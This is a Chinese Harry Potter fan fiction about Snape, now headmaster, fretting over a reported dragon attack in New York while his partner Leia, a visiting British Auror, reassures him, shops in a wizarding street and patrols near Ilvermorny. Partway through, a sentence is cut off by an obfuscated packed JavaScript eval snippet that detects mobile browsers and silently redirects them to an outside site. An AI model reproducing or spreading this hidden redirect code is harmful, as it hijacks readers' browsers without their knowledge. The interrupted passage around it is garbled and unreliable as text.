目击者称黑影疑似巨龙,形态模糊不清。美国傲罗紧急展开追捕,交战中,数名傲罗从扫帚上坠入东河,目前失踪人数仍在统计中。漂上岸边的魔法扫帚或成为事件的唯一线索。(见下方照片) 另据报道,正在美国参与合作训练的英国傲罗也加入追捕行动,协助调查此事。神秘黑影的真实身份及去向,仍有待进一步公布。 【照片】岸边散落的扫帚,见证一场惊心动魄的追逐战: 本报驻地记者在现场发现多把遗失的魔法扫帚,弃置于布鲁克林大桥附近的河岸,显然属于受袭击的傲罗。搜救工作已持续至清晨,河面上依然可以看到魔法船只和傲罗队员的身影。” 一则不算长的新闻,一张看不出有任何实际意义的“扫帚”照片,却让这位端坐在办公桌前的男巫一遍又一遍地扫过,试图从字里行间挖掘出更多确切的细节。 尽管他心里明白,出事的可能性落在英国傲罗头上的概率极小。汉密尔顿和斯威克本就对这些危险行动的参与程度小心到近乎保守,不会愿意让他们的人参与到不属于自己的危险。然而,斯内普依然难以忍受身体中产生的那种空落落的压迫感,就像有什么在里面一点点掏空他。 瞥了一眼墙上的时钟,此时是纽约半夜一点多,理应是深眠的时候。 收回眼神,他后知后觉地松开不知道什么时候紧攥的拳头,手肘转而支撑在桌面,用中指和拇指用力地按住突突跳动的太阳穴。 有些念头便是如此,一旦在心底扎了根,便如蔓生植物般疯长,攀爬过理智的高墙,挤满每一寸墙缝,将整个心境困得密不透风。而那种异地的恐惧,从来不是害怕感情因时空而生疏淡漠,而是当另一方有可能置身险境,他无法即时抵达。甚至,连得知真相都变得如此艰难而漫长。 五个小时的时差,五千五百公里的距离。 这跟在希腊时候感受到的患得患失全然不同。那时候是他在怯懦,怀疑她的存在不过是一种“虚幻”的馈赠。 如今,他在不可抑制地恐惧的,是另外一种无力的“失去”感。 不能再往下想了。偏过头,他烦闷地将那份预言家日报扔下办公桌,报纸在空中凌乱地散开,消失在一个他视野外的角落。随后,他盯着那盘过于丰盛的早餐,冷冰冰地对空气低吼一句:“拉比,把早餐收走。” “好的校长。”小精灵应声显现。正要伸手撤下斯内普的早餐时,拉比愣了愣,瞪着一双蓝汪汪的大眼睛:“校长,您怎么只吃了一点?……是拉比今天做得不好吗?” 斯内普没有抬头,语气依然平直冷淡,像刀刃刮过冰面:“与你无关,我没胃口。再倒一杯咖啡就行。” “好……”拉比眨了眨眼,眼中的担忧非但没有消减,反而更浓了几分。小精灵一手揪着自己的围裙,上前一步,一手捧走餐盘的同时小心翼翼地询问:“那拉比可以给校长做点别的吃的吗?蕾雅小姐毕业前特别叮嘱拉比,要好好照顾校长的饮食……” 她怎么连这种事都想到了? 听见这个名字,斯内普动作一顿,这才抬眼看向小精灵,那一方小小的白色围裙已被拧成麻花。沉默片刻后,他以稍微缓和的声音说道:“暂时不必了,我有需要会再叫你。” 拉比不敢再多问,迟疑又顺从地点头,满脸顾虑地按照斯内普的吩咐完成工作。 又喝下一杯黑咖啡后,斯内普不耐烦地把写下的半份文件揉成一团,用火焰咒消灭殆尽。他再一遍阅读过昨日那张写满墨迹的羊皮纸。放下纸张的须臾,有微弱的刺痛感从他的胃部窜了上来,他烦躁地起身,走进浴室,用冷水匆匆洗了把脸。 回到校长室内,窗外已经泛起早晨的光亮,城堡从沉睡中渐渐苏醒。他在那扇细长的高窗前站了一阵,垂下眼,眺望到散开的薄雾拂过霍格沃茨的大地。远处的魁地奇队员们精神抖擞地在草坪上进行早训,近一些的连廊里,几个赫奇帕奇的女生跟在助教纳威的身后,小跑迈向温室,大概是去照看昨日种下的植物们。 他收回视线,重新坐回桌前,还是举起魔杖,把那份报纸传过来,从头到尾又看一次那张被重复读得稍微起皱的新闻页。 冰冷的官方字句传递不出一丝感情,而他的思绪却轻易被拉扯纷飞,直到她最后的话忽然浮现在脑海中。 ——“西弗,今天我也爱你。” 斯内普拧紧双眉,在犹豫不决中取出双面镜。他很明白,如果现在不这么做,这个上午恐怕什么都做不下去。 ……还是算了,也就五个小时。再等一等,她就该起床了。以她的细心,肯定会第一时间联系他的。 斯内普也没想到,就在他要把双面镜重新放回口袋的一瞬,手中的镜子就传来了她的声音,带着些微的迷糊和低哑:“……西弗,你起来了吗?” 根本无法用言语来形容这是一种什么样的感受,没来得及思考,斯内普便脱口回应了:“蕾雅?” 话音里没有藏好的焦急和颤抖让斯内普自己也一怔。他飞快地清了清喉咙,换上平日内敛的冷静语调:“你怎么醒着?” 镜子中的亮光一点点铺开,他看见昏黄幽暗的柔光勾勒出她温润的肩膀,她抱着被子侧躺在枕头,微微泛红的眼眸还弥散着一层模糊的困倦。 “唔……我调了个闹钟算好你起床的时间,”蕾雅咕哝着,听起来轻软又温婉。她拨开散乱在脸上的碎发,顺便揉了揉眼睛,又补充道:“我怕你看到傍晚那件事的报道会担心。” 实际上,当蕾雅见到镜中男人眉宇间毫无掩饰的焦躁时,就深知她的预想一点也没错。 幸而设下这个闹钟,蕾雅都不能去想象如果她没有主动联系他,他会如何独自度过这几个小时? 斯内普觉得左心室的地方宛若被什么东西揪了一下。他因此一愣,片刻后喉间的紧绷慢慢松动,试图辩解:“我并没有……”然而说到一半,他却被她肩上滑落的睡裙吊带攫住注意力,话语顿时停止了。继而,当她牵开一抹了然的微笑紧盯他时,斯内普随即低叹了一口气,错开视线,轻声转移话题:“我的确看到了报道。到底发生了什么?忙到很晚?” “嗯,追捕一直到了晚上十一点多,直到视野状况实在糟糕到看不清了。”蕾雅闭上眼,好像在思索怎么接着组织语言:“大概是因为那样,才导致有那么多傲罗掉下来。说实话,我也很惊讶这边那么多傲罗不擅长骑扫把……最后当然也什么都查不出来。不过,汉密尔顿主任推测,那可能是黑巫师操纵的龙型生物。西弗,报道都写了什么?” 斯内普把报纸的内容大概向她复述了一遍,接着问她:“所以你们也参与了追捕?” “哈利他们几个男生跟汉密尔顿主任去了。我和埃琳娜留在地面,协助斯威克主任保护大桥的安全。你不知道,西弗,那桥差点被震塌了。”蕾雅凝视着男人略显僵硬的肩线,抱着镜子翻了个身,用开玩笑的语调道:“我总觉得,美国也没有那么安全呢。” “答应我,小心点。”斯内普的嗓音透着隐约的压抑,“不要愚蠢地去做超出自己能力的事,明白吗?” 蕾雅轻轻地颔首,诚恳地应他:“答应你。那我睡了?明天白天还得善后,也许还要继续找失踪的傲罗。”说完,她忍不住打了个哈欠。 “嗯。”斯内普轻哼一声。 “要不要我就把镜子这么放一会儿?”蕾雅忽而提议,有些淘气地凑近双面镜,像是在给他一个晚安吻般碰了碰镜子。没等他回答,她迅速找了个枕头竖好镜子,柔声笑道:“如果你有什么事或者要去忙,就从那边切断吧。”她钻进被窝,拢好被子,没关床头灯。 斯内普注视着镜里的面庞,略微皱眉,手指在不自觉间摩挲在她看不见的银镜边缘。很久以后,他才轻轻地应了一声:“睡吧,晚安。” 我爱你。 镜子里传来被褥轻微摩擦发出的声响,仿佛是她听见他心里话的回应。 不久后,他知道蕾雅进入了梦乡。伴随着她安稳的呼吸,房间重新被与之前不太一样的沉寂笼罩。 他最后看了一眼她的睡颜,浅红的嘴唇微张,仔细还能看见轻轻翕动的长睫,那枚珍贵的戒指恰好垂坠在被子没盖好的锁骨前。 到这里,斯内普都没意识到自己抿起的嘴角。他小心地将镜子放平在桌侧,内心也随着她的低微呼吸声而平静下来,连胃都感到舒坦了些。 至少,现在可以继续着手那些未完成的工作。 直到,校长室的门被邓布利多无情地推开。 “早上好,西弗勒斯。我刚看见报道,就想着……”老巫师捧着一份预言家日报,絮絮叨叨地走进来,却被男巫凌冽如刀锋的眼神瞬间冻结了脚步和接下来的半句话。 邓布利多的身形立在原地半晌,很快察觉到斯内普手中那一抹银色的光芒。几乎是与此同时,那件东西便被迅速收进抽屉,锁扣扣合的动作更是利落得无声无息,仿佛从未发生过。 老巫师扬了扬眉毛,眼底闪过一丝理所当然的洞察,没有太过惊讶地猜到那是什么东西。他兴趣盎然地轻捻胡须,径直走向远处的沙发落座,悠然自得地摊开没看完的报纸,脸上仍残留他惯有的和煦笑容。 良久,注意到斯内普平复了心情,面如死水地一份接一份处理桌上的文件,邓布利多不紧不慢地侧过脸,调皮地压低声说:“看来你已经跟她通过话了?哦,哦,对不起,我现在可以说话了吗?我保证,下次一定记得敲门。……你知道,这可是当了五十年校长的坏习惯。” “我不介意把这个位置还给你。”斯内普的嘴角轻微抽动一下,毫不留情地说。他手中保持着羽毛笔滑动的速度,没有半分停顿。 “巧了。这是我正好要说的,”邓布利多合上报纸,手指轻叩着膝盖,面容和祥地转向斯内普:“西弗勒斯,任何你需要的时候,我都不介意暂时接替你守在霍格沃茨。无论是为了三强争霸赛,还是大洋彼岸那些可能会发生的事。或者——”他的话一顿,话音不经意地变得更轻,“你只想去休个假。” “我没想到,你有如此好心肠,阿不思。”斯内普冷嗤一声,神情如笔尖在羊皮纸上划出的线条般尖锐锋利。 尽管如此,他心中其实十分明白老人的言下之意。只是,他一贯不愿意在这位老巫师面前过多袒露自己。于是,斯内普干脆凌冽地撇开话题:“好了,三强争霸赛之前的准备材料,你放在哪里了?” …… 醒过来的时候,蕾雅下意识伸手去摸那面双面镜,发现连接已经被切断了。她并没有感到很意外,毕竟清楚斯内普忙着要去筹备三强争霸赛,或许已经外出,亦或是正在校长室里与人讨论事宜,实在不太方便与她保持联络。 伸了个懒腰,她用魔杖指挥窗帘缓缓拉开。几缕璀璨的晨光擦过漆黑的窗框灌进房间,驱散走最后一丝倦意。蕾雅起身披上一件晨衣,抱着洗漱用品踱向走廊尽头的公共浴室。他们住的傲罗临时宿舍是由一座老旧公寓楼改造而成的,和那个年代的大多数美国公寓一样,大多数房间都没有配备独立浴室。 快速梳洗完毕,她回到房间,坐在床边从床头柜上拿起斯内普之前给她塞的魔药,细心地涂抹在膝盖和大腿上。冰冷的药水顺沿骨头的弧度滑下,她忍着钝痛,一点点揉开,让药液渗透进紫红肿胀的皮肤。这些药水质量和效果都真的很好,比起昨晚,她的淤伤肉眼可见的好了很多。 她当然没有告诉斯内普,这是昨夜追捕行动中摸黑摔跤的结果,她差点从大桥上掉下去。跟从前同样,蕾雅一点也不愿意为他已然繁重的事务再添负担,尤其是注意到他脸上那种克制的忧虑后,她更加重这种想法。 甚至,原本她都不打算告诉他这边在发生的那些事——如果不是斯威克主任特意向她透露,预言家日报马上就报道昨晚的事件的话。 是的,他们的关系在傲罗间早已不是秘密。 主任们终于可以不必再探究,为什么她的魔药和治疗术水平这么高了。 蕾雅收紧靴子的鞋带,再绑上一个防止松开的蝴蝶结,离开了房间。锁好门的时分,埃琳娜恰好从隔壁的房间走出来,两个人抬头问了早安,然后一同下楼去餐厅。 “你的编发今天很好看。”蕾雅指了指埃琳娜白金色的发辫,发间别着一朵晶莹透亮的钻石雏菊。 “谢谢,你的受伤怎么样了?”埃琳娜看起来仍有忧虑,有意放慢脚步好让蕾雅走得不那么痛苦。 “没什么要紧的,我有淤伤药水呢。”蕾雅笑了笑,望到餐厅靠窗的那桌,哈利、罗恩和贾斯廷已经坐在那里。 没有马上去就坐,两位女生先到自助餐台边挑选食物。蕾雅在烤好的贝果上涂抹了蓝莓酱,又盛了一碗燕麦粥,撒上坚果碎。埃琳娜则端了一杯酸奶和一份烤华夫饼。 “早,蕾雅,好些了吗?”哈利和罗恩的脸上还留着几道刚愈合的划伤,昨晚蕾雅在现场就给他们治过了,除了碍眼之外倒是没什么大事。他挥手示意她们过来,贾斯廷礼貌又体贴地为蕾雅和埃琳娜的杯子满上咖啡,把那个装有牛奶的小不锈钢壶往她们的方向耸了耸。 “还要点时间消肿,你们的伤口怎么样?”蕾雅感激地朝贾斯廷道谢,轻轻搁下餐盘,拉开椅子坐下时小心翼翼,尽量不弄疼膝盖。 “没什么事了,你的治疗技术一向很好。”哈利的目光落在她谨慎的动作上,忍不住颦蹙。 正在咀嚼烤香肠的罗恩抬头,很直接地接上话题,半是打趣半是关心地转向蕾雅:“你看起来可比我们严重多了。斯内普知道吗?你们早上肯定用双面镜说过话了吧,他是不是急坏了,把你骂了一顿?” “我才没有告诉他受伤的事。”蕾雅接过埃琳娜递来的不锈钢壶,往冒着热气的咖啡倒了一些牛奶,搅拌勺在杯中敲出清脆的叮响,“我听他说,预言家日报确实报道了,只提到龙形生物,没说得很详细。” “那就是一条龙!我的梅林,比我们在古灵阁放走的那条还要大多了!”罗恩睁大眼睛,指指点点地挥舞着叉子,“一条龙!在世界最大之一的都市上空飞过!你想想看,要是查理在,我看他得兴奋得两眼放光。” “听你们昨天说,还会喷火?”埃琳娜若有所思地皱起眉,将切得精致规整的华夫饼送到嘴边。 “是啊,前面那几个美国傲罗就是因为躲闪不及才掉下去的。”贾斯廷面色阴沉,他跟经历过战争的哈利和罗恩不同,不曾经过这般的大场景,所以显然心有余悸。他晃了晃那头棕色的自然卷发,叉子恹恹地翻戳着盘中的煎蛋,低声道:“听说临近半夜的时候找到了一个,其他的……不知道怎么样了。” “梅林啊,东河的水流那么急……”埃琳娜摇了摇头,端起咖啡又似乎不怎么能喝得下去。 “还有一个没找到。”一把威严又温婉的嗓音打断几个人的闲聊。斯威克主任走进餐厅,身后跟着略显疲惫的汉密尔顿副主任。两位年长傲罗停在桌边,目光来来往往地扫过几个人,似乎是在检查他们的状况。 “你们都没什么事了吧?本来就不该派你们去的。”汉密尔顿副主任的眼下凹陷,下巴还残留有昨夜的胡渣。虽然换了件新的墨绿色衬衫,外套依然是那件褐色皮衣,看来是熬到了很晚。 “早上好,斯威克主任,汉密尔顿主任,我们都没什么事了。”哈利先领头开了口。他托正眼镜,翠绿色的眼珠悄悄地移到蕾雅的方向,小声补充:“就是蕾雅还有些淤伤。” “好,那剩下的就交给汉密尔顿主任和其他人处理吧。”斯威克主任习惯性抱起双臂,点了点头,“你们都不用去现场了,等下跟我一起去魔法国会去看看情况。能帮上的忙我们就帮,做不到的也只能爱莫能助了。我总不能让你们在美国受伤。” 是这样的,美国最近的情况确实有些棘手。 其实,这个神秘生物的目击事件并非首次发生,只是先前没有造成什么轰动,因此都被魔法国会悄悄掩盖了消息。至于行动动机,大抵是跟那群地下活动的黑巫师势力有关。这帮人,从偷盗、纵火、伤人,到走//私非法神奇生物,无恶不作。尽管魔法国会的傲罗们一直在追查,他们的真正目的仍然扑朔迷离。 对这件事的调查持续到了五月中旬,后来又有数次大型生物灾害接连发生在马萨诸塞州塔科尼克山脉附近。魔法国会的傲罗们一直紧追不舍,直到最近一次,才在行动中抓获了一名临时加入的雇佣巫师。 也是那天,蕾雅他们下了训练场后遇见到现在美国魔法国会的传奇人物——奎妮·戈德斯坦的小女儿,艾米莉·科瓦尔斯基。她是一名资深的高级傲罗,从母亲那里继承了强大的摄神取念能力,同时,又从姨妈蒂娜·斯卡曼德那里学到不少实战技巧,这些能力都让她在办案时大放光彩。经过她持续不断的盘问,所有线索都汇聚到一个令人不安的结论:这群黑巫师不仅与曾经的食死徒有所联系,而且他们的下一个目标正是伊法魔尼魔法学校。 说到此处,就不得不提过去半年间,伊法魔尼学校附近的格雷洛克山已发生多起偷猎神奇生物的案件。虽说魔法界的偷猎现象并不少见,从来没有人将这些零星事件与黑巫师最近的行动联系在一起。然而,当这些线索被这样突然串联,整个局势顿时变得危急起来。 为此,美国傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837187|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗办公室迅速采取行动,决定派遣一支队伍驻扎于伊法魔尼,以确保学校安全。也考虑到食死徒的潜在联系,英国傲罗们也被要求协助。那么,既然斯威克主任他们计划动身去伊法魔尼,也不太可能留下蕾雅他们几个在纽约。最终,全体英国傲罗决定随队同行。 周六的午后,五人穿过纷乱的送信猫头鹰和神色匆忙的巫师们,走出伍尔沃斯大楼。马路对面便是麻鸡市政厅,被葱郁的绿化树木环绕簇拥。五月的暖阳从天空流淌而下,又一点点被树梢筛落,在地上刻下一片零碎的光斑。 沿着市政厅街区往前走一段,那里有一个通往地下的地铁口。 纽约的地下环境着实让人不敢恭维,站台昏暗而嘈杂,空气中有一股潮湿和机油的味道,让蕾雅时不时会想起霍格沃茨的地窖——这里更加脏乱,还有垃圾、流浪汉、呕吐物,以及更多不干净的、臭烘烘的东西。(1) “抱歉啊,让你们也跟我一起来了。”走在前面的哈利略带歉意地频频回头,“我本来打算六月再来挑金妮的毕业礼物的,没想到现在就得离开了。” “嗨,说这些做什么。大家来这不都是想逛一逛嘛。”贾斯廷用轻松的语气说道,伸手拍了拍哈利,“毕竟我们也不知道会不会再来了。” “是啊,七月底我们就回英国了。”埃琳娜提议道,“还有什么想去的地方,明天也一起去了吧。贾斯廷不是说想去古根海姆博物馆看看?” “好啊。” 伴着列车呼啸的轰鸣声,他们躲开上班族和拖行李寻路的匆匆旅人,来到一个隐蔽的角落,这儿有一个麻鸡们看不见的无障碍卫生间。确认过四周没人注意到他们,五个人一个接一个挤进这间小小的屋子。 走在最后的罗恩拉上卫生间滑轨门,哈利随即从口袋掏出一枚古铜色的硬币,抛向面前的全身镜。被硬币猛地撞上的镜面,瞬间猛烈地摇晃起来,宛如海平面落入一块巨石般泛起大圈的银色波纹,紧接着,镜子如同被分割的水面,向两边散开,露出一条狭窄的通道。 通道的对面便是纽约的巫师社区核心——自由街。 与对角巷相对应的,这里同样挤满各式各样的商店和形形色色的巫师。自由街显得更加现代化,也与美国自由的风气相对应,巫师们都不爱穿长袍。他们大多选择麻鸡世界的牛仔裤、T恤、短裙,偶尔还能看到几个穿露脐装的黑人女巫,一头大卷发随风飘扬,个性张扬。 街道几乎以砖红色为主调,这侧入口附近的店铺是巫师用具、套装和消耗品店,大概是因为靠近魔法国会的缘故。他们没有过多停留,凭着前几次来的记忆,穿过这一条街径直前往中心广场。 广场正中央高耸一座雄伟的铜色喷泉,那是一尊展翅飞翔的雷鸟雕像高高,象征着自由、力量和保护。从鸟嘴飞溅而下的水流哗哗作响,散开的花沫被阳光照耀得绽出熠熠光辉。不时有幻影移形的巫师们突然显现在广场上,行走的时候得很小心,不要碰撞到别人。 自由街的建筑式样有些仍旧与伦敦相似,但房屋尺度更为宽阔高大。也有许多店铺大胆采用现代钢筋材料和玻璃幕墙,配有夸张的霓虹色广告招牌,为了更好地展示商品,吸引顾客的目光。街边空白的墙面上,也是被贴满了各式宣传海报,既有新商品的广告、招聘启事、乐队演出信息,也有黑巫师的通缉令和来自麻鸡街头的涂鸦,缤纷杂乱,让人眼花缭乱。 这在英国的巫师们看来,已然是十分“超前”的设计,就跟店内售卖的商品一样让人瞠目结舌——与麻瓜科技结合的魔法产品。 “你们准备给金妮买什么呢?”蕾雅一边喝着加了星辰糖浆的冰美式,一边懒洋洋地扫视沿街的橱窗。她看到一个人形高的金色时钟,宣传语写着“无论在哪里,都能显示家庭成员的状态和位置”。罗恩也跟随她的眼神看了一会儿,旋即撇了撇嘴,直截了当地评价到:“给金妮买什么我没想好,但我马上要写信建议乔治他们把妈妈设计的壁钟量产,绝对能赚一大笔钱。” 听到这话,其他人都笑了起来,纷纷嘱咐他今晚就寄信,别让明日闯入英国市场的美国产品抢了先机。 沿途还有许多特色店铺,比如魔法生物宠物店,还未长全羽毛的雷鸟幼崽在笼中扬起光秃秃的小脑袋,嗷嗷待哺;小巧玲珑的幻光七彩水母在精致的玻璃缸吐着水泡,让蕾雅差点没忍住买下一只。另外一条街上排着长队,是在买美国巫师社区现在正在流行一种料理锅。这种锅只要准备好食材,念出咒语,就会自动处理食材并完成烹饪,听说快成了巫师家庭的标配。 哈利捏着金妮给他寄来的信,在中心广场来来去去几个圈,按照金妮信中所说的,找到了那家售卖纽约火焰魁地奇队周边的店铺。 店铺位于街道尽头,招牌上以流动的火焰咒语书写着“自由之火”,烈焰在空中高傲舞动,靠近周围都能感觉到源源不断的热量(大概在冬天会很受欢迎,蕾雅觉得)。落地的玻璃橱窗里摆放的是这只魁地奇队的吉祥物,一只烈焰凤凰,正绕着鬼飞球追逐旋转,挥动的翅膀火星四溅,生机勃勃。哈利和罗恩顿时两眼放光,拖着贾斯廷一头就扎进店铺。 蕾雅和埃琳娜可对魁地奇没有任何兴趣。她们只进去扫了一眼架子上堆满的魁地奇纪念品,就退了出来,转而走进街对面的一家精品店。 “埃琳娜,你要不要也给家里人买点东西?”蕾雅瞥向展示柜上林林种种的新奇产品,笑着问埃琳娜,“你看,这个自动打字机看起来很不错,只要念出声,就能自己写下字诶,不是正好适合你家里人吗?” 埃琳娜依照她的话好奇地俯身研究一番,脸上立刻就绽放出跟哈利和罗恩同样的光彩,“真的呀!而且价格还不算太高。”她拿起一台,转头问道:“要不要也给斯内普校长买一台?” 正在察看一架小魔法相机的蕾雅抬起头,听到这话不由地顺着思考:“嗯,说起来,也确实该给他买点东西。” 她话音刚落,热情的店员立刻走到她旁边,“小姐,是想买相机吗?这是我们新出的产品,只要按下快门,就能立刻获得一张魔法照片。您想试试吗?” “立刻?”蕾雅有些难以置信,她对相机的印象还停留在科林平时使用的那件笨重家伙,没想过美国的魔法产品也比英国要超前太多,连相机都变得如此精巧了。 “我帮您拍一张吧。”店员笑得殷勤,举起另一架相机对准她。 “请等等!”蕾雅不好意思地制止她,朝那边读打字机说明书入神的金发女生喊道:“埃琳娜,我们一起拍一张?” “啊?拍照?好啊。”埃琳娜拎着打字机快步走来。 “咔嚓”一声,相机自动吐出的照片很快就被蕾雅捧在手里。两个女孩并肩站着,一个抱着相机调皮地眨眼,一个抱着打字机笑得灿烂。背景是精品商店满墙的古怪物件,颇有另外一番风味。 “怎么样?只要塞进特制的相纸,”店员耐心地为她讲解,“对,就打开这个开关就好,很方便的。” “可是,我如果回英国了,要怎么买得到呢?”蕾雅又看了看方才跟埃琳娜的合影,问道。 “没关系,我们的客人也是遍布全球,可以有邮送服务哦。我会在包装里附赠订购方式。”店员微笑有礼地回答。 既然如此,再也没有理由不买了,尽管价格有点小贵。结账付款的时候,蕾雅数着递出去的钱币,倏地就想起斯内普嘲讽她“那点工资”的事。 可是,她就是很愿意在新家摆满属于他们的照片。 日近黄昏,男傲罗们终于舍得离开那家魁地奇店。哈利给金妮挑了一个昂贵的金色飞贼,金灿灿的表面镌刻着金妮最近喜欢上的魁地奇队员的亲笔签名。罗恩则为她选购了一副新型号的飞行护目镜,是附加了一道小型的咒语,可以根据飞行状况自动调节清晰度,即便在倾盆的暴风雨中,也能保持完美的视野,肯定能在金妮今后的职业生涯有所帮助。 回到中心广场,他们最终仍然进入那家魔法时钟店。出乎意料地,蕾雅在那里挑选到一件适合送给斯内普的小礼物。再等罗恩给赫敏买好伴手礼,之后的晚餐,他们挑选了一家看起来很有意思的餐馆。招牌上用金色的霓虹灯管与红色蟹钳勾勒出硕大的“独立”一词,象征着这里的店员全是“自由之身”的小精灵。 他们永远不会听从任何一位巫师的指示,只会制作他们喜欢做的餐食。 所以那顿晚餐简直就是一次味蕾的大冒险。他们吃到了在汤中欢欣起舞的小龙虾,会像变色龙般变幻色彩的沙拉,一盘在被吃掉前会哼唱民谣的金色布丁,一份自燃至最后一口的火焰牛排,以及火龙果味的、看不见任何液体茶水的泡泡茶——拍下照片的蕾雅觉得,这已经是整个晚上最正常的一道食物。 89.焦灼 送走了赶回霍格沃茨参加毕业典礼的哈利和罗恩,蕾雅他们又与即将出发前往格雷洛克山脉另一边的高级傲罗们告别。目击消息是昨天夜里传来的,美国傲罗们连夜就出发了,很快便发现山脉的另一侧是一片连绵崎岖、地形复杂的区域,搜索难度极大,所以英国傲罗们也决定前往支援。 被留下的,除了两三个美国傲罗,便只剩下蕾雅、埃琳娜和贾斯廷。这日要做的任务也与昨天没有区别:巡逻、看守、再巡逻,从早到晚。 这几天皆是如此,也因为这样,她能与斯内普对话的时间稀少许多,且都是根据她的时间来主导。 伊法魔尼魔法学校完完全全凌驾于格雷洛克山的山顶,气候跟霍格沃茨很不相同。空气干燥清爽,大部分的日子都是晴天,云层稀薄到近乎不存在。广袤的山地沐浴在阳光与花香之中,到处都是与乔木般浓郁又繁盛的金色光斑。不过,过分热情的太阳也让日子显得有些难熬,在来的第二天目睹到脸被晒伤的罗恩后,蕾雅和埃琳娜就立即各买了一顶鸭舌帽。 而跟霍格沃茨相似的其实也有,学校的附近也有一个类似霍格莫德的巫师村。傲罗们就驻扎在村中的旅馆。平时也是从这出发,沿着山路绕过偌大的伊法魔尼魔法学校城堡巡逻。这片地方不远处的后山有座瀑布,清冽的水源从山崖飞泻延伸,最终汇成一条小溪,穿过巫师村周围密集的林地,时不时能遇见在溪边歇息的雷鸟和球遁鸟。 午饭过后,那个叫乔纳森的美国傲罗被众人围在旅馆的一楼休息区,他的手中抱着一块分配任务的日志簿,正在指挥:“下午,莱恩哈特、芬里列,你们跟我巡逻,其他人留守待命。赶在晚饭前结束,有问题吗?” “没有。”大家齐声回答。 对埃琳娜挥了挥手,蕾雅站起身,边忙着将马尾穿过鸭舌帽后方的开口,摆正帽檐,边跟同样在戴帽子的贾斯廷跟在乔纳森的后面离开旅馆。 午后的晴天愈加明亮炽热,蓝天清澈得如一面无暇的明镜。巫师村庄此时十分热闹,不算宽广的街巷挤满穿着蓝色和莓红色长袍的学生,他们嬉笑说闹着穿梭于店铺间,购置物品。伊法魔尼的魔咒保护范围很广,允许高年级学生在没课的空隙随时离开学校,来这个村落活动。 往东走出村庄不久,山路开始变得蜿蜒曲折,时而被两侧长势凶猛的野草与灌木遮掩,时而又十分开阔,抬头便能看到隐藏在翠绿树林中伊法魔尼城堡的一角,灰白色的高塔于蓝空下反射出迷醉的辉光。 “感觉这里真的太开阔了,”刚踩上较宽的山路,贾斯廷低声开口道:“从高处看下去,整片山谷都一览无遗。这怎么能藏人呢?我们这样巡逻真的有意义吗?” “越开阔的地方越容易被忽视。”乔纳森声音冷淡地回答。他目光急速地扫视身边一切,“而且,到现在还不知道那群人的目的,这些山谷之间隐藏着无数天然洞穴和密道,如果有人熟悉地形,能躲上几个月都没人发现。我们的巡逻就是观察有没有异样。”说着,这位高大的傲罗向四周施下几发原形立现咒语。 “可如果他们骑着龙突袭呢?我们几个又能做什么?”贾斯廷顺着他的话继而问。 “放心,伊法魔尼有特别强大的魔咒守护,仅仅是几条龙是攻不进学校的。所以主任们才放心只留我们几个在这里。”乔纳森将路上的树枝踩得噼啪作响,“现在真正怕的,是他们找到某种我们不知道的方式潜入。” “原来如此。”贾斯廷把头扭到另一边,跟着乔纳森的方法施展咒语。 蕾雅保持静默,不打算加入他们的对话,习惯性地将注意力放在目所能及的细致地方,害怕遗漏任何。 转入一条更偏僻的支路,山地渐渐变得陡峭,细碎的石子和砂砾在蕾雅的靴底发出轻微的摩擦声。她压了压帽檐,视线被放到能所及的最远处,但除了层层叠叠的树冠和零星的鸟影外,最远处能看见的便是模糊的天际线,隐约能分辨出起伏不断的建筑轮廓,或许是某个远离山地的城镇。 “莱恩哈特,跟上。”乔纳森与贾斯廷不知不觉已经走出了不少距离。 蕾雅回过神,连连点头,急忙迈开步子,却在转头的一瞬,注意到山坡底下的树叶不自然地晃动了一下,好像是有什么调皮小动物就要窜出来那样。 还没等她来得及看清,就从那个方向飘来一声急促的叫喊:“霍尔夫,你刚刚真的吓死我了!” “我没有吓你啊!我都没有动,你胆子是不是太小了?”随后,一个穿着伊法魔尼校袍的男生跑出来,身后还跟着一个女生,两人各怀抱着藤编篮框。 “可是,我明明听见有人说话,不是你又是谁?这树林我们都来过这么多次了,根本不会有人!”那个女生不安地争辩道,话音听着明显是余怒未消,看来吓得不轻。 三位傲罗顿了顿,停住脚步,互相看了一眼,齐齐地幻影移形挡在两个学生的面前。 “哇!你们是谁啊!”那个女生吓得后退几步,猛地尖叫。 “魔法国会傲罗。”乔纳森上前,掀了掀夹克,露出别在内侧的魔法国会徽章,语气严峻地开口:“学生为什么会来这里?这应该是学校禁止的区域。” “呃……是这样。”叫霍尔夫的男生看上去是十四五岁的模样,他犹犹豫豫地抓了抓后脑勺,有点心虚地解释:“这树林的魔药材料比学校温室的要好,我们偶然发现的,就过来采了几次。” 蕾雅顺着他的话往他怀中探头,确切地看见两位学生篮筐中铺满的霍克拉普根和菌类,颜色斑斓的好看。“哦,看起来质量是不错。”她轻轻地说,旋即转向那位女生,将对话拉回重点:“等等,你说听见有人说话了?具体是在哪里?” “就在后面的树林里面,靠近水源的地方。”女生怯生生地答,眼神不自觉地瞄向霍尔夫:“真的不是你吓我吗?” “我有必要吓你吗?这大白天的。”霍尔夫直接对她翻了个白眼,稳了稳手里的物品,“只有约翰逊才喜欢做那样的事。” “好了,都别吵了。你们快回去学校,告诉教授让他们注意校内安全。你们最近也别再来了。”乔纳森不耐烦地挥手,目送两个学生头也不回地跑远,这才转身示意蕾雅和贾斯廷跟上,走向树林深处。 沿着学生们在林地留下的足迹,三人一路前行,大概十多分钟后,小溪出现在眼前。溪边的泥土湿润滑腻,学生们留下的足迹在这就戛然而止。再往后,有阵阵幽森颓败的落叶气味飘到鼻端,眼前是一片密集到遮蔽天日的树林,宛若隐藏于世间异世界的入口,不像是会有人烟踪迹。 “幻身咒。”乔纳森用极轻的音量说,三人默契地同时隐去了身影。 逆向溪流又再往前进一段,蕾雅给大家附加一道闭耳塞听咒,因为落叶实在是太厚了,踩在上面就发出咔嚓咔嚓的响动,难免惊动可疑的人。在一棵高大的山核桃树底下,三个人敏锐地停下来,是都注意到脚下堆积的落叶比其他地方更深厚。 